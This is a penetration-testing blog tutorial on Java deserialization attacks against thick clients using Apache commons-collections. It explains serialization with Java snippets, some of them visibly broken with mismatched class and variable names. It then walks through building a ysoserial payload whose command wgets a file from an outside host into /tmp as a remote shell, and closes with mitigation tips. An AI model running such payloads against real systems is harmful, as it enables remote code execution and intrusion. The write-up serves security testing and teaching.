Thick Client Penetration Testing Tutorials - Part 3 ( Java Deserialization Exploit to RCE)

Thick Client Penetration Testing – 3 (Java Deserialization Exploit: Remote Code Execution)

Welcome Readers, in the previous two blogs, we have learnt about the various test cases as well as setting up traffic for thick clients using interception proxy. Among the plethora of test cases out here, one particularly interesting is about “Remote Code Execution on thick clients”.
For this particular RCE, among one of the thick clients I was testing, it was based on Java Application.
While researching possible exploits, I noticed that there are custom deserialization methods in Apache commons-collections which has a particular “reflection logic”. This can be particularly exploited which can lead to remote command injection as well as lethal arbitrary code execution.
All applications which are java based and perform serialization/ deserialization with untrusted data to deserialize having “commons-collections” in its classpath can be exploited to run arbitrary code!
For starters, let’s cover a few concepts before we dive into the exploit.

Note: Here we are directly creating serialized exploit as well as injecting the same directly. For analysing the traffic in a clear format, I shall cover the same in next part.

What is serialization in Java?
Serialization in java is a mechanism of writing the state of an object into a byte stream. It is majorly used in Hibernate, RMI, JPA, EJB and JMS technologies.
Exactly the reverse of serialization becomes deserialization.
Why Java Serialization is needed?
This helps to transit the object's state on the network aka marshaling.




java.io.Serializable interface

Serializable is a marker interface (sans data member and method).
It is used to "mark" java classes so that objects of these classes may get certain capabilities. 
Let’s take a code snippet and analyze the concept

import java.io.Serializable; 
public class demo  implements Serializable{ 
 int id; 
 String name; 
 public test (int id, String name) { 
  this.id = id; 
  this.name = name; 
 } 
}    
In the above example, test class implements Serializable interface. Now its objects can be converted into stream.
ObjectOutputStream class
ObjectOutputStream class writes primitive data types and Java objects to an OutputStream. Only objects that support the java.io.Serializable interface can be written to streams.
Example of Java Serialization
In this example, we are going to serialize the object of test class. The writeObject() method of ObjectOutputStream class provides the functionality to serialize the object. We are saving the state of the object in the file named learn.txt.
import java.io.*; 
class Learn{ 
 public static void main(String args[])throws Exception{ 
 Person p1 =new Person(001,"Tester"); 
 FileOutputStream fout=new FileOutputStream("learn.txt"); 
  ObjectOutputStream out=new ObjectOutputStream(fout); 
  out.writeObject(s1); 
  out.flush(); 
  System.out.println("success"); 
 } 
Once we are done serializing the above, the output will be something like this:
Output ( Success) : ¬Ã­ sr PersonJìšñ#²Uw I idL

namet Ljava/lang/String;xp   Ót

Tester


Deserialization in java

Deserialization is the reverse process of reconstructing the object from the serialized state. It is the reverse operation of serialization.
The code snippet for the same is :
import java.io.*; 
class Depersist{ 
public static void main(String args[])throws Exception{ 
ObjectInputStream in=new ObjectInputStream(new FileInputStream("learn.txt")); 
Person p1=(Person)in.readObject(); 
System.out.println(s.id+" "+s.name); 
in.close(); 
 } 
Output(001,"Tester"): ¬Ã­ sr PersonJìšñ#²Uw I idL

namet Ljava/lang/String;xp   Ót

Tester



If you want to learn more, please take a look here: https://www.javatpoint.com/serialization-in-java

So now having the basics of how serialization and de serialization works, let’s head to the exploit!


Step 1: Intercept the thick client which are testing (java based) using burp.


Here we have a serialized object going through the burp request.
Step 2: At this point, we can extend the content length, to insert a malicious exploit. Hence:


Step 3:  Generating serialized exploit:
There are multiple tools by which we can create a serialized exploit. The one I am using here is Chris Frohoff's ysoserial ( https://github.com/frohoff/ysoserial )
Running the jar file with the payload type and command to execute will generate the serialized object for you.

The exploit I created is:
java -jar ysoserial.jar CommonsCollections3 “wget http://disposablewebpage.com/up/10b14792076539622.png -O /tmp/exploit.sh
For crafting payload: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'



Note, I have redirected the output to a text file for using the exploit.
Step 4: Let’s check the exploit created:


Step 5: If you notice our exploit.sh is created which is a remote shell file which will be dropped to the remote server where the java application is hosted.
Step 6: Now simply we need to replace the original request with this particular payload like this:

Replace with paste from file:





Choose the exploit.txt
Now It will look like this:


Once done, forward the request and analyse the response. If the response shows “instantiate Transformer” like this:




Then your exploit is successful!
Now on the server and you can see something like this:






 Instead of creating a file, you can also pass a command such as: 'ping google.com'.
How to mitigate the issue on server side?
·         Prevent Deserialization of Domain Objects
·         Harden the java.io.ObjectInputStream
·         Harden All java.io.ObjectInputStream Usage with an Agent
·         Delete InvokerTransformer.class file. If your application does not utilize it.


More Reference:



Comments

Post a Comment

Popular posts from this blog

Arbitrary file upload and RCE in Wonder CMS - CVE-2017-14521

Cross Site Request Forgery- Intex Router N-150 | CVE-2018-12529

Stored XSS in Wonder CMS- CVE-2017-14522